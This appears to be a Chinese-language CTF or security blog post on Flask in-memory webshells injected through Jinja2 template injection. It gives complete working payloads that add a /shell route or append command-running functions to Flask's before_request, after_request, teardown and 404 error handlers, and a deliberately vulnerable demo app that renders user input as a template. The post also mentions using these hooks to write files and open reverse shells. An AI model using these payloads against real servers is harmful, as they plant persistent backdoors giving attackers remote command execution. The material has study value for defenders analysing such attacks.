目录

flask内存马

# flask内存马

最近遇到一些flask命令执行的题目,在既没有回显,又不能出网的情况下,内存马成了一个好的选择。

在flask中,没有定义的路由会返回404的,因此内存马最初是通过动态注册路由来实现的,新版的flask已经不允许动态注册路由了,现在也有一些新的姿势实现

0

# 低版本flask内存马

分析低版本payload

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
1

这里使用了flask的内置函数url_for,通过url_for.__globals__获取到全局变量,然后通过__builtins__获取到内置函数eval,在eval函数里使用add_url_rule动态的创建了一个/shell的路由,在这个路由下通过定义匿名函数导入了os模块,然后执行了os.popen函数,接收一个cmd参数,默认值为whoami,最后返回执行结果。

格式化成易读的形式

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
        )
    ",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    })
1
2
3
4
5
6
7
8
9
10
11

eval函数里的第二个参数是一个字典, 给eval 函数提供一个自定义的全局命名空间

  • _request_ctx_stack:使eval函数可以获取flask请求的参数,状态
  • app:使eval函数可以调用应用的功能,比如注册路由、访问配置,这里用来调用 add_url_rule 方法,以动态添加新的路由

注意

后文多次需要引入url_for.__globals__的变量requestapp,在需要传参利用时很重要,否则在匿名函数收不到参数

部分flask版本下无法使用url_for.globals['current_app']来获取app,可以sys.modules,通过url_for.__globals__['sys'].modules['__main__'].__dict__['app']来获取app

1

低版本flask复现环境(windows)

演示的flask环境

pip install Flask==1.1.1 itsdangerous==1.1.0 Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1
1
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/',methods=['GET','POST'])
def home():
    return render_template_string(request.args.get('name','hello,world!'))

if __name__ == '__main__':
    app.run()
1
2
3
4
5
6
7
8
9

成功打入内存马

3

4

尝试在linux环境下复现时鸡飞狗跳,没有配好就不掩饰了

# 新版内存马

flask常用的装饰器routebefore_requestafter_requesterrorhandlerlogin_required

在禁止动态注册路由的情况下,可以使用flask的特殊装饰器before_requestafter_requesterrorhandler处理特定的请求方法,在每次请求之前执行代码,从而实现内存马的效果

# before_request

跟着去before_request装饰器源码里看定义

5

    @setupmethod
    def before_request(self, f: BeforeRequestCallable) -> BeforeRequestCallable:
        """
        在每次请求之前,调用自定义的函数f
        """
        self.before_request_funcs.setdefault(None, []).append(f)
        return f
1
2
3
4
5
6
7

在这里,如果 None 键不存在,就初始化为一个空列表。如果存在传入的函数 f,则通过调用before_request_funcs.setdefault(None, []).append(f)函数把自定义函数f添加到before_request_funcs 字典中,在每次请求处理之前调用这个函数

重点:通过调用before_request_funcs.setdefault(None, []).append(f)函数添加了自定义函数

如果可以打入自定义的后门函数,那么每次请求前都会触发来执行命令

lambda :__import__('os').popen('whoami').read()
1

内存马payload

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")}}&a=whoami
1

通过动态导入 sys 模块,获取当前 Flask 应用实例 app,并将一个匿名函数添加到 app 的请求前处理函数列表中,利用before_request装饰器触发自定义后门函数执行命令

6

# after_request

after_request:如果处理逻辑没有异常抛出,在每次请求后运行

after_request装饰器在每次请求处理之后调用,同样可以接收一个自定义函数f,区别在,这里的函数需要接收一个response对象,同时返回一个response对象

定义

@setupmethod
    def after_request(self, f: AfterRequestCallable) -> AfterRequestCallable:
        """注册一个函数,在每次请求后运行。

        该函数会接收响应对象,并必须返回一个响应对象。这允许函数在发送响应之前修改或替换响应。

        如果一个函数引发异常,则任何剩余的 ``after_request`` 函数将不会被调用。因此,这不应用于必须执行的操作,例如关闭资源。请使用 :meth:`teardown_request` 来处理此类操作。
        """
        self.after_request_funcs.setdefault(None, []).append(f)
        return f
1
2
3
4
5
6
7
8
9
10

仅通过lambda无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response

函数内容为:

lambda resp: #传入参数
    CmdResp if request.args.get('cmd') and      #如果请求参数含有cmd则返回命令执行结果
    exec('
        global CmdResp;     #定义一个全局变量,方便获取
        CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   #创建一个响应对象
    ')==None    #exec函数返回None,所以恒真
    else resp)  #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务
1
2
3
4
5
6
7
8

提示

  • before_request 中,requestapp 是在请求上下文中自动可用的。这是因为 before_request 钩子在处理请求时就会被调用,此时 Flask 已经设置好了请求上下文。因此,可以直接使用requestapp

  • after_request 的上下文是在响应生成后,需要显式传递requestapp这些变量来确保它们在函数中可用。这样,before_request 和 after_request 的行为差异源于它们被调用的上下文和时间

在这里可以知道,after_request需要显示手动导入requestapp变量这些{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']}

payload:

{{url_for.__globals__.__builtins__['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}&cmd=whoami
1

# teardown_request

teardown_request:在每次请求后运行,即使处理发生了错误

定义:

@setupmethod
    def teardown_request(self, f: TeardownCallable) -> TeardownCallable:
        self.teardown_request_funcs.setdefault(None, []).append(f)
        return f
1
2
3
4

after_request类似,teardown_request装饰器在每次请求处理之后调用,同样可以接收一个自定义函数f,在后台运行,没有回显,可以写文件,出网反弹shell

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=echo 11111 > 1.txt
1

# teardown_appcontext

teardown_appcontext:在每次请求后运行,即使处理发生了错误

定义:

@setupmethod
    def teardown_appcontext(self, f: TeardownCallable) -> TeardownCallable:
        self.teardown_appcontext_funcs.append(f)
        return f
1
2
3
4

不能动态接收get参数,可以利用写文件,出网反弹shell

payload:

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen('echo 2222 > 1.txt').read())")}}
1

# errorhandler

errorhandler:处理指定的异常

errorhandler装饰器用于处理指定的异常,可以接收一个异常类型或HTTP状态码作为参数,并返回一个处理函数。这个处理函数会在发生指定异常或HTTP状态码时被调用,HTTP状态码例如200400403404500,errorhandler可以定义这些状态码的回显

如果定义404页面的回显,那么随便访问未定义/不存在的路由都会触发这个回显

定义:

@setupmethod
    def errorhandler(
        self, code_or_exception: t.Union[t.Type[Exception], int]
    ) -> t.Callable[["ErrorHandlerCallable"], "ErrorHandlerCallable"]:
        """注册一个函数以处理按代码或异常类的错误。

        一个装饰器,用于注册给定错误代码的函数。例如:

            @app.errorhandler(404)
            def page_not_found(error):
                return '此页面不存在', 404

        你也可以注册任意异常的处理程序:

            @app.errorhandler(DatabaseError)
            def special_exception_handler(error):
                return '数据库连接失败', 500
        """
        def decorator(f: "ErrorHandlerCallable") -> "ErrorHandlerCallable":
            self.register_error_handler(code_or_exception, f)
            return f

        return decorator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

跟进register_error_handler函数:

    def register_error_handler(
        self,
        code_or_exception: t.Union[t.Type[Exception], int],
        f: "ErrorHandlerCallable",
    ) -> None:
        if isinstance(code_or_exception, HTTPException):  # old broken behavior
            raise ValueError(
                "Tried to register a handler for an exception instance"
                f" {code_or_exception!r}. Handlers can only be"
                " registered for exception classes or HTTP error codes."
            )

        try:
            exc_class, code = self._get_exc_class_and_code(code_or_exception)
        except KeyError:
            raise KeyError(
                f"'{code_or_exception}' is not a recognized HTTP error"
                " code. Use a subclass of HTTPException with that code"
                " instead."
            ) from None

        self.error_handler_spec[None][code][exc_class] = f
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

在最后的代码,code即是前面传来的错误码,exc_class是异常类,f是页面回显内容。通过exec函数执行命令,把结果赋值给f回显到错误页面

exc_class, code = self._get_exc_class_and_code(code_or_exception)
self.error_handler_spec[None][code][exc_class] = f
1
2

payload:

{{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}}
1

参考、致谢:

最后一次更新于: 2024/10/28, 00:07:03